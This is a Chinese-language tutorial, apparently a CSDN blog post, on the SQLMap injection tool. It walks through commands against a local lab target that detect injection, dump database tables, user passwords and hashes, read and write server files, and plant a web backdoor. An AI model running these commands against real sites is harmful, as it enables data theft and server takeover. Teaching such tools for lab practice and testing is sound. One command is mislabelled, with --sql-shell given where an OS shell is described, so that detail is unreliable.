SQLMap介绍
SQLMap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定URL的SQL注入漏洞,SQLMap支持的数据库有MySQL、Oracle、Microsoft Access、PostgreSQL、Microsoft SQL Server、IBM DB2、SQLite、Sybase和Firebird等。SQLMap主要使用了以下五种SQL注入技术。
- 联合查询注入:在可以使用Union的情况下的注入
- 报错注入:在页面可以返回错误信息,或者把注入的语句的结果直接返回到页面中
- 堆查询注入:可以同时执行多条语句时的注入
- 基于布尔类型的盲注:可以根据返回页面判断条件真假的注入
- 基于时间的盲注:在不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
SQLMap的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。
SQLMap基本命令
在SQLMap中可以使用 sqlmap.py -h来查看SQLMap的参数以及用法
1、判断该url是否存在注入
假设目标是http://127.0.0.1/sql/Less-1/?id=1,判断其是否存在注入的命令如下所示
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1"
在sqlmap探测时,sqlmap会与我们有三处交互,
在第一处交互时,sqlmap告诉我们说这个目标系统的数据库好像是MySQL数据库,是否还探测其他类型的数据库,我们输入n就代表不需要探测其他类型的数据库了。
在第二处交互的地方是告诉我们对于剩下的测试是否使用拓展提供的级别1和风险值1的“MySQL”的所有测试,我们输入y是代表是的。
第三处交互时告诉我们SQLMap已经探测到参数id存在漏洞。是否还要探测其他的地方,我们选择n就是不需要继续探测其它参数。
最后SQLMap告诉我们参数id存在基于布尔类型的注入和报错注入和基于时间的注入和联合查询注入。并且还列出了payload。在最后还列出了目标系统是windows ,php的版本和Apache的版本还有数据库的版本等。
如果目标url是需要登录的,我们需要指定其cookie,我们可以先用账号和密码登录,然后在控制台输出其cookie填入即可。
sqlmap.py -u "http://127.0.0.1/sql/Less-11/?id=1" --cookie="输出的cookie"
如果目标是post提交的数据,我们需要制定其data参数
sqlmap.py -u "http://127.0.0.1/sql/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=submit"
判断文本中的请求是否存在注入
SQLMap可以从一个文本文件中获取HTTP请求,这样就可以不设置其他参数(cookie、data参数等)会比较方便。
我们可以使用这个命令进行对1.txt这个数据包的注入探测,
sqlmap.py -r 1.txt
1.txt必须要放在C:\Users\Administrator中才可以正常探测到1.txt。
查询当前用户下的所有数据库
在确认该网站存在注入后,用于查询当前用户下的所有数据库,如下所示,如果当前用户有权限读取包含所有数据库列表信息的表,使用该命令可以列出所有数据库
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --dbs
获取数据库中的表名
该命令的作用在于查询完数据库后,查询指定数据库中所有的表名,如下所示。如果在该命令中不加入-D参数来指定某一个具体的数据库,那么SQLMap会列出数据库中所有库的表。
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D dvwa --tables
获取表中的字段名
该命令的作用是查询完表名后,查询该表中所有的字段名.查询dvwa数据库中users表的字段名
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D dvwa -T users --columns
获取字段内容
该命令是在查询完字段名后,获取该字段中的具体数据信息,在dvwa数据库中users表中user和password字段名的具体数据。
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D dvwa -T users -C user,password --dump
获取数据库的所有用户
该命令的作用是在当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出所有管理用户。
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --users
获取数据库用户的密码
该命令的作用是列出数据库用户的密码,如果当前用户有读取包含用户密码的权限,SQLMap会先列举出用户,然后列出hash。
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --passwords
在获取密码时SQLMap与我们会有两处交互,第一处问我们是否保存密码的hash值为文件,第二处问我们是否使用SQLMap自带的字典进行爆破。
获取当前网站使用的数据库名称
该命令的作用是可以列出当前网站使用的数据库
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --current-db
获取当前网站数据库的用户名称
该命令的作用是获取当前网站数据库的用户名称。
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --current-user
当前用户是否为管理权限
该命令用于查看当前用户是否为数据库管理员用户,当current user is DBA为true时,证明该用户为数据库管理员用户。
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --is-dba
列出数据库管理员用户
该命令用于查看数据库所有管理员用户。
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --roles
–level 3:探测等级
在SQLMap中一共有5个探测等级,默认是1,等级越高,说明探测时使用的payload越多,5级最多,当然探测时间也最长,payload可在/sqlmap/data/xml/payloads中看到。HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。在不清楚注入点时,建议使用高的level。
HTTP Referer头
SQLMap可以在请求中伪造HTTP中的referer,当level大于等于3时,会尝试对referer进行注入,我们就可以使用Referer命令来进行欺骗。
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --referer http://www.jd.com
运行自定义SQL语句
该命令可以用于执行指定的SQL语句。
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --sql-shell
运行任意操作系统命令
在数据库为MySQL、PostgreSQL或者Microsoft SQL Server时 并且网站为root权限并且攻击者需要知道网站的绝对路径,并且GPC为off,php的主动转义功能关闭时,可以用SQLMap运行任意操作系统命令,我们可以利用INTO OUTFILE写进可写目录,可以创建web后门
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --sql-shell
从数据库中读取文件
当数据库为MySQL、PostgreSQL或者Microsoft SQL Server时 ,并且当前用户有权限,可以读取指定文件,可以是文本,也可以是二进制文件,
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --file-read "D:/1.txt"
上传文件到数据库服务器中
该命令用于写入本地文件到服务器中,当数据库为MySQL、PostgreSQL或者Microsoft SQL Server时 ,并且当前用户有权限,上传的文件可以是文本文件或者是二进制文件。
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --file-write 1.txt --file-dest "D:/1.txt"
–file-write 是本机的文件,–file-dest是目标服务器的地址。
来源:CSDN
作者:无清、
链接:https://blog.csdn.net/weixin_45287663/article/details/103958178